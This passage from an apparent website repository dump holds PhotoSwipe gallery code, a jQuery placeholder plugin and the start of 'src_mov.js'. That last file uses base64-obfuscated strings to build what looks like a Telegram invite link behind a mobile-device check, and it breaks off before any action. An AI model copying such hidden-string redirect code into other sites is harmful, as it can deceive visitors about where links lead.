self.getItemAt(index),\n\t\t\t\timg;\n\t\t\t\n\t\t\tif(!item) {\n\t\t\t\tholder.el.innerHTML = '';\n\t\t\t\treturn;\n\t\t\t}\n\n\t\t\t// allow to override data\n\t\t\t_shout('gettingData', index, item);\n\n\t\t\tholder.index = index;\n\t\t\tholder.item = item;\n\n\t\t\t// base container DIV is created only once for each of 3 holders\n\t\t\tvar baseDiv = item.container = framework.createEl('pswp__zoom-wrap'); \n\n\t\t\t\n\n\t\t\tif(!item.src && item.html) {\n\t\t\t\tif(item.html.tagName) {\n\t\t\t\t\tbaseDiv.appendChild(item.html);\n\t\t\t\t} else {\n\t\t\t\t\tbaseDiv.innerHTML = item.html;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t_checkForError(item);\n\n\t\t\t_calculateItemSize(item, _viewportSize);\n\t\t\t\n\t\t\tif(item.src && !item.loadError && !item.loaded) {\n\n\t\t\t\titem.loadComplete = function(item) {\n\n\t\t\t\t\t// gallery closed before image finished loading\n\t\t\t\t\tif(!_isOpen) {\n\t\t\t\t\t\treturn;\n\t\t\t\t\t}\n\n\t\t\t\t\t// check if holder hasn't changed while image was loading\n\t\t\t\t\tif(holder && holder.index === index ) {\n\t\t\t\t\t\tif( _checkForError(item, true) ) {\n\t\t\t\t\t\t\titem.loadComplete = item.img = null;\n\t\t\t\t\t\t\t_calculateItemSize(item, _viewportSize);\n\t\t\t\t\t\t\t_applyZoomPanToItem(item);\n\n\t\t\t\t\t\t\tif(holder.index === _currentItemIndex) {\n\t\t\t\t\t\t\t\t// recalculate dimensions\n\t\t\t\t\t\t\t\tself.updateCurrZoomItem();\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\treturn;\n\t\t\t\t\t\t}\n\t\t\t\t\t\tif( !item.imageAppended ) {\n\t\t\t\t\t\t\tif(_features.transform && (_mainScrollAnimating || _initialZoomRunning) ) {\n\t\t\t\t\t\t\t\t_imagesToAppendPool.push({\n\t\t\t\t\t\t\t\t\titem:item,\n\t\t\t\t\t\t\t\t\tbaseDiv:baseDiv,\n\t\t\t\t\t\t\t\t\timg:item.img,\n\t\t\t\t\t\t\t\t\tindex:index,\n\t\t\t\t\t\t\t\t\tholder:holder,\n\t\t\t\t\t\t\t\t\tclearPlaceholder:true\n\t\t\t\t\t\t\t\t});\n\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\t_appendImage(index, item, baseDiv, item.img, _mainScrollAnimating || _initialZoomRunning, true);\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t// remove preloader & mini-img\n\t\t\t\t\t\t\tif(!_initialZoomRunning && item.placeholder) {\n\t\t\t\t\t\t\t\titem.placeholder.style.display = 'none';\n\t\t\t\t\t\t\t\titem.placeholder = null;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\n\t\t\t\t\titem.loadComplete = null;\n\t\t\t\t\titem.img = null; // no need to store image element after it's added\n\n\t\t\t\t\t_shout('imageLoadComplete', index, item);\n\t\t\t\t};\n\n\t\t\t\tif(framework.features.transform) {\n\t\t\t\t\t\n\t\t\t\t\tvar placeholderClassName = 'pswp__img pswp__img--placeholder'; \n\t\t\t\t\tplaceholderClassName += (item.msrc ? '' : ' pswp__img--placeholder--blank');\n\n\t\t\t\t\tvar placeholder = framework.createEl(placeholderClassName, item.msrc ? 'img' : '');\n\t\t\t\t\tif(item.msrc) {\n\t\t\t\t\t\tplaceholder.src = item.msrc;\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t\t_setImageSize(item, placeholder);\n\n\t\t\t\t\tbaseDiv.appendChild(placeholder);\n\t\t\t\t\titem.placeholder = placeholder;\n\n\t\t\t\t}\n\t\t\t\t\n\n\t\t\t\t\n\n\t\t\t\tif(!item.loading) {\n\t\t\t\t\t_preloadImage(item);\n\t\t\t\t}\n\n\n\t\t\t\tif( self.allowProgressiveImg() ) {\n\t\t\t\t\t// just append image\n\t\t\t\t\tif(!_initialContentSet && _features.transform) {\n\t\t\t\t\t\t_imagesToAppendPool.push({\n\t\t\t\t\t\t\titem:item, \n\t\t\t\t\t\t\tbaseDiv:baseDiv, \n\t\t\t\t\t\t\timg:item.img, \n\t\t\t\t\t\t\tindex:index, \n\t\t\t\t\t\t\tholder:holder\n\t\t\t\t\t\t});\n\t\t\t\t\t} else {\n\t\t\t\t\t\t_appendImage(index, item, baseDiv, item.img, true, true);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t\n\t\t\t} else if(item.src && !item.loadError) {\n\t\t\t\t// image object is created every time, due to bugs of image loading & delay when switching images\n\t\t\t\timg = framework.createEl('pswp__img', 'img');\n\t\t\t\timg.style.opacity = 1;\n\t\t\t\timg.src = item.src;\n\t\t\t\t_setImageSize(item, img);\n\t\t\t\t_appendImage(index, item, baseDiv, img, true);\n\t\t\t}\n\t\t\t\n\n\t\t\tif(!_initialContentSet && index === _currentItemIndex) {\n\t\t\t\t_currZoomElementStyle = baseDiv.style;\n\t\t\t\t_showOrHide(item, (img ||item.img) );\n\t\t\t} else {\n\t\t\t\t_applyZoomPanToItem(item);\n\t\t\t}\n\n\t\t\tholder.el.innerHTML = '';\n\t\t\tholder.el.appendChild(baseDiv);\n\t\t},\n\n\t\tcleanSlide: function( item ) {\n\t\t\tif(item.img ) {\n\t\t\t\titem.img.onload = item.img.onerror = null;\n\t\t\t}\n\t\t\titem.loaded = item.loading = item.img = item.imageAppended = false;\n\t\t}\n\n\t}\n});\n\n/*>>items-controller*/\n\n/*>>tap*/\n/**\n * tap.js:\n *\n * Displatches tap and double-tap events.\n * \n */\n\nvar tapTimer,\n\ttapReleasePoint = {},\n\t_dispatchTapEvent = function(origEvent, releasePoint, pointerType) {\t\t\n\t\tvar e = document.createEvent( 'CustomEvent' ),\n\t\t\teDetail = {\n\t\t\t\torigEvent:origEvent, \n\t\t\t\ttarget:origEvent.target, \n\t\t\t\treleasePoint: releasePoint, \n\t\t\t\tpointerType:pointerType || 'touch'\n\t\t\t};\n\n\t\te.initCustomEvent( 'pswpTap', true, true, eDetail );\n\t\torigEvent.target.dispatchEvent(e);\n\t};\n\n_registerModule('Tap', {\n\tpublicMethods: {\n\t\tinitTap: function() {\n\t\t\t_listen('firstTouchStart', self.onTapStart);\n\t\t\t_listen('touchRelease', self.onTapRelease);\n\t\t\t_listen('destroy', function() {\n\t\t\t\ttapReleasePoint = {};\n\t\t\t\ttapTimer = null;\n\t\t\t});\n\t\t},\n\t\tonTapStart: function(touchList) {\n\t\t\tif(touchList.length > 1) {\n\t\t\t\tclearTimeout(tapTimer);\n\t\t\t\ttapTimer = null;\n\t\t\t}\n\t\t},\n\t\tonTapRelease: function(e, releasePoint) {\n\t\t\tif(!releasePoint) {\n\t\t\t\treturn;\n\t\t\t}\n\n\t\t\tif(!_moved && !_isMultitouch && !_numAnimations) {\n\t\t\t\tvar p0 = releasePoint;\n\t\t\t\tif(tapTimer) {\n\t\t\t\t\tclearTimeout(tapTimer);\n\t\t\t\t\ttapTimer = null;\n\n\t\t\t\t\t// Check if taped on the same place\n\t\t\t\t\tif ( _isNearbyPoints(p0, tapReleasePoint) ) {\n\t\t\t\t\t\t_shout('doubleTap', p0);\n\t\t\t\t\t\treturn;\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\tif(releasePoint.type === 'mouse') {\n\t\t\t\t\t_dispatchTapEvent(e, releasePoint, 'mouse');\n\t\t\t\t\treturn;\n\t\t\t\t}\n\n\t\t\t\tvar clickedTagName = e.target.tagName.toUpperCase();\n\t\t\t\t// avoid double tap delay on buttons and elements that have class pswp__single-tap\n\t\t\t\tif(clickedTagName === 'BUTTON' || framework.hasClass(e.target, 'pswp__single-tap') ) {\n\t\t\t\t\t_dispatchTapEvent(e, releasePoint);\n\t\t\t\t\treturn;\n\t\t\t\t}\n\n\t\t\t\t_equalizePoints(tapReleasePoint, p0);\n\n\t\t\t\ttapTimer = setTimeout(function() {\n\t\t\t\t\t_dispatchTapEvent(e, releasePoint);\n\t\t\t\t\ttapTimer = null;\n\t\t\t\t}, 300);\n\t\t\t}\n\t\t}\n\t}\n});\n\n/*>>tap*/\n\n/*>>desktop-zoom*/\n/**\n *\n * desktop-zoom.js:\n *\n * - Binds mousewheel event for paning zoomed image.\n * - Manages \"dragging\", \"zoomed-in\", \"zoom-out\" classes.\n *   (which are used for cursors and zoom icon)\n * - Adds toggleDesktopZoom function.\n * \n */\n\nvar _wheelDelta;\n\t\n_registerModule('DesktopZoom', {\n\n\tpublicMethods: {\n\n\t\tinitDesktopZoom: function() {\n\n\t\t\tif(_oldIE) {\n\t\t\t\t// no zoom for old IE (<=8)\n\t\t\t\treturn;\n\t\t\t}\n\n\t\t\tif(_likelyTouchDevice) {\n\t\t\t\t// if detected hardware touch support, we wait until mouse is used,\n\t\t\t\t// and only then apply desktop-zoom features\n\t\t\t\t_listen('mouseUsed', function() {\n\t\t\t\t\tself.setupDesktopZoom();\n\t\t\t\t});\n\t\t\t} else {\n\t\t\t\tself.setupDesktopZoom(true);\n\t\t\t}\n\n\t\t},\n\n\t\tsetupDesktopZoom: function(onInit) {\n\n\t\t\t_wheelDelta = {};\n\n\t\t\tvar events = 'wheel mousewheel DOMMouseScroll';\n\t\t\t\n\t\t\t_listen('bindEvents', function() {\n\t\t\t\tframework.bind(template, events,  self.handleMouseWheel);\n\t\t\t});\n\n\t\t\t_listen('unbindEvents', function() {\n\t\t\t\tif(_wheelDelta) {\n\t\t\t\t\tframework.unbind(template, events, self.handleMouseWheel);\n\t\t\t\t}\n\t\t\t});\n\n\t\t\tself.mouseZoomedIn = false;\n\n\t\t\tvar hasDraggingClass,\n\t\t\t\tupdateZoomable = function() {\n\t\t\t\t\tif(self.mouseZoomedIn) {\n\t\t\t\t\t\tframework.removeClass(template, 'pswp--zoomed-in');\n\t\t\t\t\t\tself.mouseZoomedIn = false;\n\t\t\t\t\t}\n\t\t\t\t\tif(_currZoomLevel < 1) {\n\t\t\t\t\t\tframework.addClass(template, 'pswp--zoom-allowed');\n\t\t\t\t\t} else {\n\t\t\t\t\t\tframework.removeClass(template, 'pswp--zoom-allowed');\n\t\t\t\t\t}\n\t\t\t\t\tremoveDraggingClass();\n\t\t\t\t},\n\t\t\t\tremoveDraggingClass = function() {\n\t\t\t\t\tif(hasDraggingClass) {\n\t\t\t\t\t\tframework.removeClass(template, 'pswp--dragging');\n\t\t\t\t\t\thasDraggingClass = false;\n\t\t\t\t\t}\n\t\t\t\t};\n\n\t\t\t_listen('resize' , updateZoomable);\n\t\t\t_listen('afterChange' , updateZoomable);\n\t\t\t_listen('pointerDown', function() {\n\t\t\t\tif(self.mouseZoomedIn) {\n\t\t\t\t\thasDraggingClass = true;\n\t\t\t\t\tframework.addClass(template, 'pswp--dragging');\n\t\t\t\t}\n\t\t\t});\n\t\t\t_listen('pointerUp', removeDraggingClass);\n\n\t\t\tif(!onInit) {\n\t\t\t\tupdateZoomable();\n\t\t\t}\n\t\t\t\n\t\t},\n\n\t\thandleMouseWheel: function(e) {\n\n\t\t\tif(_currZoomLevel <= self.currItem.fitRatio) {\n\t\t\t\tif( _options.modal ) {\n\n\t\t\t\t\tif (!_options.closeOnScroll || _numAnimations || _isDragging) {\n\t\t\t\t\t\te.preventDefault();\n\t\t\t\t\t} else if(_transformKey && Math.abs(e.deltaY) > 2) {\n\t\t\t\t\t\t// close PhotoSwipe\n\t\t\t\t\t\t// if browser supports transforms & scroll changed enough\n\t\t\t\t\t\t_closedByScroll = true;\n\t\t\t\t\t\tself.close();\n\t\t\t\t\t}\n\n\t\t\t\t}\n\t\t\t\treturn true;\n\t\t\t}\n\n\t\t\t// allow just one event to fire\n\t\t\te.stopPropagation();\n\n\t\t\t// https://developer.mozilla.org/en-US/docs/Web/Events/wheel\n\t\t\t_wheelDelta.x = 0;\n\n\t\t\tif('deltaX' in e) {\n\t\t\t\tif(e.deltaMode === 1 /* DOM_DELTA_LINE */) {\n\t\t\t\t\t// 18 - average line height\n\t\t\t\t\t_wheelDelta.x = e.deltaX * 18;\n\t\t\t\t\t_wheelDelta.y = e.deltaY * 18;\n\t\t\t\t} else {\n\t\t\t\t\t_wheelDelta.x = e.deltaX;\n\t\t\t\t\t_wheelDelta.y = e.deltaY;\n\t\t\t\t}\n\t\t\t} else if('wheelDelta' in e) {\n\t\t\t\tif(e.wheelDeltaX) {\n\t\t\t\t\t_wheelDelta.x = -0.16 * e.wheelDeltaX;\n\t\t\t\t}\n\t\t\t\tif(e.wheelDeltaY) {\n\t\t\t\t\t_wheelDelta.y = -0.16 * e.wheelDeltaY;\n\t\t\t\t} else {\n\t\t\t\t\t_wheelDelta.y = -0.16 * e.wheelDelta;\n\t\t\t\t}\n\t\t\t} else if('detail' in e) {\n\t\t\t\t_wheelDelta.y = e.detail;\n\t\t\t} else {\n\t\t\t\treturn;\n\t\t\t}\n\n\t\t\t_calculatePanBounds(_currZoomLevel, true);\n\n\t\t\tvar newPanX = _panOffset.x - _wheelDelta.x,\n\t\t\t\tnewPanY = _panOffset.y - _wheelDelta.y;\n\n\t\t\t// only prevent scrolling in nonmodal mode when not at edges\n\t\t\tif (_options.modal ||\n\t\t\t\t(\n\t\t\t\tnewPanX <= _currPanBounds.min.x && newPanX >= _currPanBounds.max.x &&\n\t\t\t\tnewPanY <= _currPanBounds.min.y && newPanY >= _currPanBounds.max.y\n\t\t\t\t) ) {\n\t\t\t\te.preventDefault();\n\t\t\t}\n\n\t\t\t// TODO: use rAF instead of mousewheel?\n\t\t\tself.panTo(newPanX, newPanY);\n\t\t},\n\n\t\ttoggleDesktopZoom: function(centerPoint) {\n\t\t\tcenterPoint = centerPoint || {x:_viewportSize.x/2 + _offset.x, y:_viewportSize.y/2 + _offset.y };\n\n\t\t\tvar doubleTapZoomLevel = _options.getDoubleTapZoom(true, self.currItem);\n\t\t\tvar zoomOut = _currZoomLevel === doubleTapZoomLevel;\n\t\t\t\n\t\t\tself.mouseZoomedIn = !zoomOut;\n\n\t\t\tself.zoomTo(zoomOut ? self.currItem.initialZoomLevel : doubleTapZoomLevel, centerPoint, 333);\n\t\t\tframework[ (!zoomOut ? 'add' : 'remove') + 'Class'](template, 'pswp--zoomed-in');\n\t\t}\n\n\t}\n});\n\n\n/*>>desktop-zoom*/\n\n/*>>history*/\n/**\n *\n * history.js:\n *\n * - Back button to close gallery.\n * \n * - Unique URL for each slide: example.com/&pid=1&gid=3\n *   (where PID is picture index, and GID and gallery index)\n *   \n * - Switch URL when slides change.\n * \n */\n\n\nvar _historyDefaultOptions = {\n\thistory: true,\n\tgalleryUID: 1\n};\n\nvar _historyUpdateTimeout,\n\t_hashChangeTimeout,\n\t_hashAnimCheckTimeout,\n\t_hashChangedByScript,\n\t_hashChangedByHistory,\n\t_hashReseted,\n\t_initialHash,\n\t_historyChanged,\n\t_closedFromURL,\n\t_urlChangedOnce,\n\t_windowLoc,\n\n\t_supportsPushState,\n\n\t_getHash = function() {\n\t\treturn _windowLoc.hash.substring(1);\n\t},\n\t_cleanHistoryTimeouts = function() {\n\n\t\tif(_historyUpdateTimeout) {\n\t\t\tclearTimeout(_historyUpdateTimeout);\n\t\t}\n\n\t\tif(_hashAnimCheckTimeout) {\n\t\t\tclearTimeout(_hashAnimCheckTimeout);\n\t\t}\n\t},\n\n\t// pid - Picture index\n\t// gid - Gallery index\n\t_parseItemIndexFromURL = function() {\n\t\tvar hash = _getHash(),\n\t\t\tparams = {};\n\n\t\tif(hash.length < 5) { // pid=1\n\t\t\treturn params;\n\t\t}\n\n\t\tvar i, vars = hash.split('&');\n\t\tfor (i = 0; i < vars.length; i++) {\n\t\t\tif(!vars[i]) {\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\tvar pair = vars[i].split('=');\t\n\t\t\tif(pair.length < 2) {\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\tparams[pair[0]] = pair[1];\n\t\t}\n\t\tif(_options.galleryPIDs) {\n\t\t\t// detect custom pid in hash and search for it among the items collection\n\t\t\tvar searchfor = params.pid;\n\t\t\tparams.pid = 0; // if custom pid cannot be found, fallback to the first item\n\t\t\tfor(i = 0; i < _items.length; i++) {\n\t\t\t\tif(_items[i].pid === searchfor) {\n\t\t\t\t\tparams.pid = i;\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t}\n\t\t} else {\n\t\t\tparams.pid = parseInt(params.pid,10)-1;\n\t\t}\n\t\tif( params.pid < 0 ) {\n\t\t\tparams.pid = 0;\n\t\t}\n\t\treturn params;\n\t},\n\t_updateHash = function() {\n\n\t\tif(_hashAnimCheckTimeout) {\n\t\t\tclearTimeout(_hashAnimCheckTimeout);\n\t\t}\n\n\n\t\tif(_numAnimations || _isDragging) {\n\t\t\t// changing browser URL forces layout/paint in some browsers, which causes noticable lag during animation\n\t\t\t// that's why we update hash only when no animations running\n\t\t\t_hashAnimCheckTimeout = setTimeout(_updateHash, 500);\n\t\t\treturn;\n\t\t}\n\t\t\n\t\tif(_hashChangedByScript) {\n\t\t\tclearTimeout(_hashChangeTimeout);\n\t\t} else {\n\t\t\t_hashChangedByScript = true;\n\t\t}\n\n\n\t\tvar pid = (_currentItemIndex + 1);\n\t\tvar item = _getItemAt( _currentItemIndex );\n\t\tif(item.hasOwnProperty('pid')) {\n\t\t\t// carry forward any custom pid assigned to the item\n\t\t\tpid = item.pid;\n\t\t}\n\t\tvar newHash = _initialHash + '&'  +  'gid=' + _options.galleryUID + '&' + 'pid=' + pid;\n\n\t\tif(!_historyChanged) {\n\t\t\tif(_windowLoc.hash.indexOf(newHash) === -1) {\n\t\t\t\t_urlChangedOnce = true;\n\t\t\t}\n\t\t\t// first time - add new hisory record, then just replace\n\t\t}\n\n\t\tvar newURL = _windowLoc.href.split('#')[0] + '#' +  newHash;\n\n\t\tif( _supportsPushState ) {\n\n\t\t\tif('#' + newHash !== window.location.hash) {\n\t\t\t\thistory[_historyChanged ? 'replaceState' : 'pushState']('', document.title, newURL);\n\t\t\t}\n\n\t\t} else {\n\t\t\tif(_historyChanged) {\n\t\t\t\t_windowLoc.replace( newURL );\n\t\t\t} else {\n\t\t\t\t_windowLoc.hash = newHash;\n\t\t\t}\n\t\t}\n\t\t\n\t\t\n\n\t\t_historyChanged = true;\n\t\t_hashChangeTimeout = setTimeout(function() {\n\t\t\t_hashChangedByScript = false;\n\t\t}, 60);\n\t};\n\n\n\n\t\n\n_registerModule('History', {\n\n\t\n\n\tpublicMethods: {\n\t\tinitHistory: function() {\n\n\t\t\tframework.extend(_options, _historyDefaultOptions, true);\n\n\t\t\tif( !_options.history ) {\n\t\t\t\treturn;\n\t\t\t}\n\n\n\t\t\t_windowLoc = window.location;\n\t\t\t_urlChangedOnce = false;\n\t\t\t_closedFromURL = false;\n\t\t\t_historyChanged = false;\n\t\t\t_initialHash = _getHash();\n\t\t\t_supportsPushState = ('pushState' in history);\n\n\n\t\t\tif(_initialHash.indexOf('gid=') > -1) {\n\t\t\t\t_initialHash = _initialHash.split('&gid=')[0];\n\t\t\t\t_initialHash = _initialHash.split('?gid=')[0];\n\t\t\t}\n\t\t\t\n\n\t\t\t_listen('afterChange', self.updateURL);\n\t\t\t_listen('unbindEvents', function() {\n\t\t\t\tframework.unbind(window, 'hashchange', self.onHashChange);\n\t\t\t});\n\n\n\t\t\tvar returnToOriginal = function() {\n\t\t\t\t_hashReseted = true;\n\t\t\t\tif(!_closedFromURL) {\n\n\t\t\t\t\tif(_urlChangedOnce) {\n\t\t\t\t\t\thistory.back();\n\t\t\t\t\t} else {\n\n\t\t\t\t\t\tif(_initialHash) {\n\t\t\t\t\t\t\t_windowLoc.hash = _initialHash;\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\tif (_supportsPushState) {\n\n\t\t\t\t\t\t\t\t// remove hash from url without refreshing it or scrolling to top\n\t\t\t\t\t\t\t\thistory.pushState('', document.title,  _windowLoc.pathname + _windowLoc.search );\n\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\t_windowLoc.hash = '';\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t}\n\n\t\t\t\t_cleanHistoryTimeouts();\n\t\t\t};\n\n\n\t\t\t_listen('unbindEvents', function() {\n\t\t\t\tif(_closedByScroll) {\n\t\t\t\t\t// if PhotoSwipe is closed by scroll, we go \"back\" before the closing animation starts\n\t\t\t\t\t// this is done to keep the scroll position\n\t\t\t\t\treturnToOriginal();\n\t\t\t\t}\n\t\t\t});\n\t\t\t_listen('destroy', function() {\n\t\t\t\tif(!_hashReseted) {\n\t\t\t\t\treturnToOriginal();\n\t\t\t\t}\n\t\t\t});\n\t\t\t_listen('firstUpdate', function() {\n\t\t\t\t_currentItemIndex = _parseItemIndexFromURL().pid;\n\t\t\t});\n\n\t\t\t\n\n\t\t\t\n\t\t\tvar index = _initialHash.indexOf('pid=');\n\t\t\tif(index > -1) {\n\t\t\t\t_initialHash = _initialHash.substring(0, index);\n\t\t\t\tif(_initialHash.slice(-1) === '&') {\n\t\t\t\t\t_initialHash = _initialHash.slice(0, -1);\n\t\t\t\t}\n\t\t\t}\n\t\t\t\n\n\t\t\tsetTimeout(function() {\n\t\t\t\tif(_isOpen) { // hasn't destroyed yet\n\t\t\t\t\tframework.bind(window, 'hashchange', self.onHashChange);\n\t\t\t\t}\n\t\t\t}, 40);\n\t\t\t\n\t\t},\n\t\tonHashChange: function() {\n\n\t\t\tif(_getHash() === _initialHash) {\n\n\t\t\t\t_closedFromURL = true;\n\t\t\t\tself.close();\n\t\t\t\treturn;\n\t\t\t}\n\t\t\tif(!_hashChangedByScript) {\n\n\t\t\t\t_hashChangedByHistory = true;\n\t\t\t\tself.goTo( _parseItemIndexFromURL().pid );\n\t\t\t\t_hashChangedByHistory = false;\n\t\t\t}\n\t\t\t\n\t\t},\n\t\tupdateURL: function() {\n\n\t\t\t// Delay the update of URL, to avoid lag during transition, \n\t\t\t// and to not to trigger actions like \"refresh page sound\" or \"blinking favicon\" to often\n\t\t\t\n\t\t\t_cleanHistoryTimeouts();\n\t\t\t\n\n\t\t\tif(_hashChangedByHistory) {\n\t\t\t\treturn;\n\t\t\t}\n\n\t\t\tif(!_historyChanged) {\n\t\t\t\t_updateHash(); // first time\n\t\t\t} else {\n\t\t\t\t_historyUpdateTimeout = setTimeout(_updateHash, 800);\n\t\t\t}\n\t\t}\n\t\n\t}\n});\n\n\n/*>>history*/\n\tframework.extend(self, publicMethods); };\n\treturn PhotoSwipe;\n});"
  },
  {
    "path": "mov/js/placeholder.js",
    "content": "/*********************************************\n\n\tjQuery extended placeholder plugin.\n\tText, password, and textarea fields supported.\n\tVersion: 0.9.2\n\tAuthor: Sergey Estrin\n\tSite: http://g-rain-design.ru/en/jquery/placeholder/\n\tReleased under the MIT License.\n\n*********************************************/\n\n(function($) {\n\n\t$.fn.placeholder_clear = function() {\n\t\n\t\tvar arPlaceholders = $(this).data(\"placeholders\");\n\n\t\t$(this).find(\"input[placeholder], textarea[placeholder]\").each(function(){\n\t\t\n\t\t\tvar field_name = $(this).attr(\"name\");\n\n\t\t\tif(field_name in arPlaceholders)\n\t\t\t\tif($(this).val()==arPlaceholders[field_name]) \n\t\t\t\t\t$(this).val(\"\");\n\t\t\n\t\t});\n\n\t};\n\n\n\t$.fn.placeholder_focus = function(caption) {\n\t\n\t\tif(this.val()==caption) {\n\t\t\tthis.val(\"\");\n\t\t\tthis.removeClass($.fn.placeholder_options.placeholded_class);\n\t\t}\n\t\n\t};\n\n\t$.fn.placeholder_blur = function(caption) {\n\t\n\t\tif(this.val()==\"\") {\n\t\t\tthis.val(caption);\n\t\t\tthis.addClass($.fn.placeholder_options.placeholded_class);\n\t\t}\n\t\n\t};\n\n\t$.fn.placeholder_password_focus = function(caption) {\n\n\t\tif(!this.is(':password')) {\n\t\n\t\t\tif(this.val()==caption) {\n\t\t\t\tvar new_input = $('<input type=\"password\" name=\"' + this.attr('name') + '\" value=\"\" />');\n\t\t\t\tnew_input.attr(\"placeholder\",caption);\n\t\t\t\tnew_input.attr(\"class\",this.attr(\"class\"));\n\t\t\t\tnew_input.removeClass(\"pie_first-child\"); // PIE compatibility\n\t\t\t\tnew_input.removeClass($.fn.placeholder_options.placeholded_class);\n\t\t\t\tnew_input.blur(function(){\tnew_input.placeholder_password_blur(caption); });\n\t\t\t\tthis.replaceWith(new_input);\n\t\t\t\tnew_input.focus();\n\t\t\t\tnew_input.focus();\n\t\t\t}\n\t\t\t\n\t\t}\n\t\n\t};\n\n\t$.fn.placeholder_password_blur = function(caption) {\n\n\t\tif(this.is(':password')) {\n\t\n\t\t\tif(this.val()==\"\") {\n\t\t\t\tvar new_input = $('<input type=\"text\" name=\"' + this.attr('name') + '\" value=\"' + caption + '\" />');\n\t\t\t\tnew_input.attr(\"placeholder\",caption);\n\t\t\t\tnew_input.attr(\"class\",this.attr(\"class\"));\n\t\t\t\tnew_input.removeClass(\"pie_first-child\"); // PIE compatibility\n\t\t\t\tnew_input.addClass($.fn.placeholder_options.placeholded_class);\n\t\t\t\tnew_input.focus(function(){\tnew_input.placeholder_password_focus(caption); });\n\t\t\t\tthis.replaceWith(new_input);\n\t\t\t}\n\t\t\t\n\t\t}\n\t\n\t};\n\n\t$.fn.placeholder = function(opts) {\n\t\n\t\tif(opts!=null) \n\t\t\tfor(var index in opts) \n\t\t\t\tif($.fn.placeholder_options[index]!=null)\n\t\t\t\t\t$.fn.placeholder_options[index]=opts[index];\n\n\t\tvar elements = this;\n\n\t\tif($.fn.placeholder_options.container) {\n\t\t\t$($.fn.placeholder_options.container_selector).each(function(){\n\t\t\t\tvar caption = $(this).find($.fn.placeholder_options.caption_selector+\":first\").html();\n\t\t\t\tvar input = $(this).find(\"input:text:first, input:password:first, textarea:first\");\n\t\t\t\tif(caption && input[0]) {\n\t\t\t\t\tinput.attr(\"placeholder\",caption);\n\t\t\t\t\telements.push(input);\n\t\t\t\t}\n\t\t\t});\n\t\t}\n\t\n\t\telements.each(function() {\n    \t\n    \t\tvar input = $(this);\n    \t\n    \t\tvar caption = $.fn.placeholder_options.caption_prefix + input.attr(\"placeholder\") + $.fn.placeholder_options.caption_postfix;\n\n    \t\tvar pform = input.parents('form:first');\n    \t\tvar pdata = pform.data(\"placeholders\");\n    \t\tif(!(pdata instanceof Array)) pdata = [];\n    \t\t//pdata.push({ name: input.attr(\"name\"), caption: caption });\n    \t\tpdata[input.attr(\"name\")] = caption;\n    \t\t\n    \t\tpform.data(\"placeholders\",pdata);\n    \t\tpform.unbind(\"submit\",$.fn.placeholder_clear).bind(\"submit\",$.fn.placeholder_clear);\n    \t\n    \t\tif(input.is(':password'))\n    \t\t{\n\n    \t\t\tinput.placeholder_password_blur(caption);\n    \t\t\tinput.focus(function(){\tinput.placeholder_password_focus(caption); });\n    \t\t\tinput.blur(function(){ input.placeholder_password_blur(caption); });\n    \t\t\t\n    \t\t} else {\n    \t\n    \t\t\tinput.placeholder_blur(caption);\n    \t\t\tinput.focus(function(){\tinput.placeholder_focus(caption); });\n    \t\t\tinput.blur(function(){ input.placeholder_blur(caption);\t});\n    \t\t\t\n    \t\t}\n\n    \t});\n\t\n\t};\n\n\t// default options\n\n\t$.fn.placeholder_options = {\n    \tplaceholded_class: \"placeholded\",\n    \tcaption_prefix: \"\",\n    \tcaption_postfix: \"\",\n    \tcontainer: false,\n    \tcontainer_selector: \".form-field-container\",\n    \tcaption_selector: \".form-field-caption\"\n    };\n\t\n\n})(jQuery);\n\n\n$().ready(function(){\n\n\t$(\":input[placeholder], textarea[placeholder]\").placeholder();\t\n\t//$(\":input[placeholder], textarea[placeholder]\").placeholder({container: true});\n\t\n});"
  },
  {
    "path": "mov/js/src_mov.js",
    "content": "const Telegram = {\n        API: {\n            JoinMethod() {\n                return atob(\"am9pbg==\");\n            },\n            InviteKey() {\n                return atob(\"aW52aXRl\");\n            },\n            UrlProtocolName() {\n                return 'TG';\n            }\n        }\n    },\n    Browser = {\n        ArgumentsBegin() {\n            return '\\? '.trim();\n        },\n        ArgumentsAnd() {\n            return '\\& '.trim();\n        },\n        SetArgumentPromptValue() {\n            return '\\= '.trim();\n        }\n    }\n\nwindow.mobileCheck = function() {\n    let check = false;\n    (function(a) { if (/(android|bb\\d+|meego).+mobile|avantgo|bada\\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a) || /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\\-(n|u)|c55\\/|capi|ccwa|cdm\\-|cell|chtm|cldc|cmd\\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\\-s|devi|dica|dmob|do(c|p)o|ds(12|\\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\\-|_)|g1 u|g560|gene|gf\\-5|g\\-mo|go(\\.w|od)|gr(ad|un)|haie|hcit|hd\\-(m|p|t)|hei\\-|hi(pt|ta)|hp( i|ip)|hs\\-c|ht(c(\\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\\-(20|go|ma)|i230|iac( 